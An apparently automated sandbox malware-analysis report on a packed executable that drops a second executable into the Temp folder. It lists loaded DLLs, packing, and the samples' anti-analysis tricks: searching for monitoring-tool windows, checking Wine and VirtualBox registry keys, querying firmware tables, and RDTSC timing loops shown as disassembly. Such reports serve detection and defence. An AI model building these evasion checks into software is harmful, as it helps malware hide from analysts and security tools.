Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Section loaded: sspicli.dll	Jump to behavior

Source: file.exe

Static file information: File size 2974720 > 1048576

Source: file.exe

Static PE information: Raw size of nipiwgbt is bigger than: 0x100000 < 0x2aae00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d30000.0.unpack :EW;.rsrc :W;.idata :W;nipiwgbt:EW;mludmddd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;nipiwgbt:EW;mludmddd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Unpacked PE file: 3.2.RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.360000.0.unpack :EW;.rsrc:W;.idata :W;keswcxpm:EW;vytofjkn:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x2e4f0d should be: 0x2e09ae
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: real checksum: 0x2ad479 should be: 0x2a80af

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: nipiwgbt
Source: file.exe	Static PE information: section name: mludmddd
Source: file.exe	Static PE information: section name: .taggant
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name:
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name: .idata
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name: keswcxpm
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name: vytofjkn
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC682 push es; iretd	0_3_00BFC683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFCAC5 push FFFFFFFDh; retf	0_3_00BFCAD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC65D push es; retf	0_3_00BFC663
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC581 push es; retf	0_3_00BFC587
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC534 push es; retf	0_3_00BFC537
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFE729 push edx; retf	0_3_00BFE72C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFE729 push edx; retf	0_3_00BFE72C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC700 push 00000065h; retf	0_3_00BFC704
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFEB56 push cs; iretd	0_3_00BFEB5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFEB56 push cs; iretd	0_3_00BFEB5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC682 push es; iretd	0_3_00BFC683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C00AAD push esi; iretd	0_3_00C00AC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFCAC5 push FFFFFFFDh; retf	0_3_00BFCAD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC65D push es; retf	0_3_00BFC663
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C01828 push 0000007Dh; retf	0_3_00C01864
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC581 push es; retf	0_3_00BFC587
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC534 push es; retf	0_3_00BFC537
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFE729 push edx; retf	0_3_00BFE72C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFE729 push edx; retf	0_3_00BFE72C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00C01171 push eax; iretd	0_3_00C0118E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC700 push 00000065h; retf	0_3_00BFC704
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFEB56 push cs; iretd	0_3_00BFEB5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFEB56 push cs; iretd	0_3_00BFEB5A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC682 push es; iretd	0_3_00BFC683
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFCAC5 push FFFFFFFDh; retf	0_3_00BFCAD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC65D push es; retf	0_3_00BFC663
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC581 push es; retf	0_3_00BFC587
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC534 push es; retf	0_3_00BFC537
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFE729 push edx; retf	0_3_00BFE72C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFE729 push edx; retf	0_3_00BFE72C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00BFC700 push 00000065h; retf	0_3_00BFC704

Source: file.exe	Static PE information: section name: entropy: 7.9794229370208845
Source: RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe.0.dr	Static PE information: section name: entropy: 7.7975552416751475

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EF2A second address: D8EF30 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EF30 second address: D8EF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6BBC840546h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7CFC second address: EF7D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F6BBC80E216h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7D0B second address: EF7D22 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6BBC840546h 0x00000008 jmp 00007F6BBC84054Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7D22 second address: EF7D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AE87 second address: F0AEA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840558h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B2B9 second address: F0B2C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F6BBC80E216h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B2C4 second address: F0B2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B43C second address: F0B44F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007F6BBC80E216h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D606 second address: F0D628 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BBC840551h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b je 00007F6BBC840550h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D71A second address: F0D724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6BBC80E216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D724 second address: F0D777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 5CBD4827h 0x0000000f je 00007F6BBC84055Fh 0x00000015 jmp 00007F6BBC840559h 0x0000001a push 00000003h 0x0000001c mov cl, 8Eh 0x0000001e push 00000000h 0x00000020 push ecx 0x00000021 or esi, 5D98C139h 0x00000027 pop ecx 0x00000028 mov si, 161Dh 0x0000002c push 00000003h 0x0000002e mov esi, dword ptr [ebp+122D2E06h] 0x00000034 push 92773F77h 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push eax 0x0000003d pop eax 0x0000003e pop eax 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D777 second address: F0D77D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D77D second address: F0D7BF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2D88C089h 0x0000000f pushad 0x00000010 movzx eax, bx 0x00000013 mov edi, dword ptr [ebp+122D2BCAh] 0x00000019 popad 0x0000001a lea ebx, dword ptr [ebp+12452530h] 0x00000020 mov dx, FB9Eh 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007F6BBC84054Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F6BBC84054Eh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D844 second address: F0D84A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D84A second address: F0D8E3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F6BBC84054Dh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122D1E13h], esi 0x00000015 push 00000000h 0x00000017 jmp 00007F6BBC84054Fh 0x0000001c mov dl, A2h 0x0000001e call 00007F6BBC840549h 0x00000023 pushad 0x00000024 jmp 00007F6BBC840551h 0x00000029 pushad 0x0000002a push eax 0x0000002b pop eax 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007F6BBC84054Fh 0x00000036 mov eax, dword ptr [esp+04h] 0x0000003a jmp 00007F6BBC84054Eh 0x0000003f mov eax, dword ptr [eax] 0x00000041 pushad 0x00000042 jmp 00007F6BBC84054Fh 0x00000047 pushad 0x00000048 jmp 00007F6BBC840550h 0x0000004d push eax 0x0000004e push edx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D9A1 second address: F0D9B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6BBC80E21Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E638 second address: F2E63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E63E second address: F2E64D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007F6BBC80E216h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C970 second address: F2C976 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C976 second address: F2C980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6BBC80E216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C980 second address: F2C98A instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6BBC840546h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CAC4 second address: F2CAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CD7D second address: F2CD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D003 second address: F2D007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D3C1 second address: F2D406 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F6BBC840550h 0x0000000c jmp 00007F6BBC84054Ah 0x00000011 popad 0x00000012 pushad 0x00000013 jno 00007F6BBC840548h 0x00000019 jmp 00007F6BBC84054Ch 0x0000001e pushad 0x0000001f jng 00007F6BBC840546h 0x00000025 jmp 00007F6BBC840550h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F005F8 second address: F005FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DE0D second address: F2DE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F30775 second address: F3079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6BBC80E222h 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F6BBC80E21Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34B17 second address: F34B1D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F34B1D second address: F34B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F350E5 second address: F350E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF470D second address: EF4711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38A5A second address: F38A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F38A60 second address: F38A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3916E second address: F39174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39174 second address: F39178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39178 second address: F39192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BBC840550h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39311 second address: F39321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnc 00007F6BBC80E216h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39321 second address: F39327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F39327 second address: F3932C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F394B4 second address: F394F0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BBC84054Ah 0x00000008 jmp 00007F6BBC840558h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6BBC84054Ah 0x00000016 jmp 00007F6BBC84054Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F394F0 second address: F394FA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6BBC80E21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
